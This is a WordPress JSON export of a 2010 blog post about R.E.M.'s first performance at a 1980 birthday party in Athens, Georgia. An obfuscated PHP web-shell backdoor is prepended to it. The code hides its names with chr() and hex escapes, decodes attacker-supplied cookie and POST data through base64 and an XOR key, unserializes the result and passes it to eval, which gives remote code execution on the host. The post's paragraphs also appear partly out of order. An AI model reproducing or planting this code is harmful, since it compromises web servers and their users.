$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":917,"date":"2010-04-05T10:17:18","date_gmt":"2010-04-05T14:17:18","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=917"},"modified":"2010-04-06T09:11:40","modified_gmt":"2010-04-06T13:11:40","slug":"happy-birthday-rem","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=917","title":{"rendered":"Happy Birthday, R.E.M."},"content":{"rendered":"
<\/p>Something remarkable happened in a very unremarkable fashion 30 years ago tonight. A young woman named Kathleen O\u2019Brien threw herself a birthday party. From all reports, she wanted it to rival any party that Athens, Ga., had ever seen. She arranged for some bands to play<\/a>, including one which featured her two roommates at the converted church where the party would take place.\n Except that the band which played that night (captured in the only known photos from the party on the right from photographer and R.E.M. friend Sandra Lee Phipps<\/a>) without a name soon chose the moniker R.E.M. and started playing other shows in Athens. Within a couple of years, they had opened for The Police and The Clash and started receiving positive reviews from their early recordings. They toured constantly and started a run of successful album releases in 1983 with \u201cMurmur,\u201d hailed by Rolling Stone <\/em>as the best album of that year. This came when \u201cThriller\u201d burned up the charts and popular MTV-driven acts such as Madonna and Men at Work held much of the public consciousness. One of those albums \u2013 \u201cLife\u2019s Rich Pageant\u201d in 1986 \u2013 included the original song \u201cJust a Touch,\u201d which was part of their set in that first-ever performance.<\/p>\n Thirty years later, the band, now a \u201cthree-legged dog\u201d since drummer Bill Berry\u2019s 1997 departure, is hard at work on another studio album while all sorts of events are scheduled for Athens to commemorate the anniversary. These events all carry the caveat that R.E.M. is not scheduled to appear, but I have a funny feeling at least one of them will find a way to show up at the tribute concert scheduled for tonight and join in the fun. [edit \u2013 They did not]<\/em><\/p>\n After all, that\u2019s how this whole thing got started, just a chance to have fun with friends in Athens. Thank God for Kathleen O\u2019Brien. I will never forget her birthday.<\/p>\n There are a treasure trove of R.E.M. links I can share, but here are just a few:<\/p>\n An interesting recollection of their first studio experience<\/a><\/p>\n The real story behind \u201c(Don\u2019t Go Back to) Rockville\u201d<\/a><\/p>\nShe convinced those two guys to join up with two other guys she knew. The party would mark their first show together. No one knew if they would ever play together again since Athens had a fluid and dynamic music scene at the time. Their first song was, according to all accounts<\/a>, \u201cI Can\u2019t Control Myself.\u201d All recollections of the evening<\/a> describe a typical wild, college party with nothing special of note<\/a>.<\/p>\n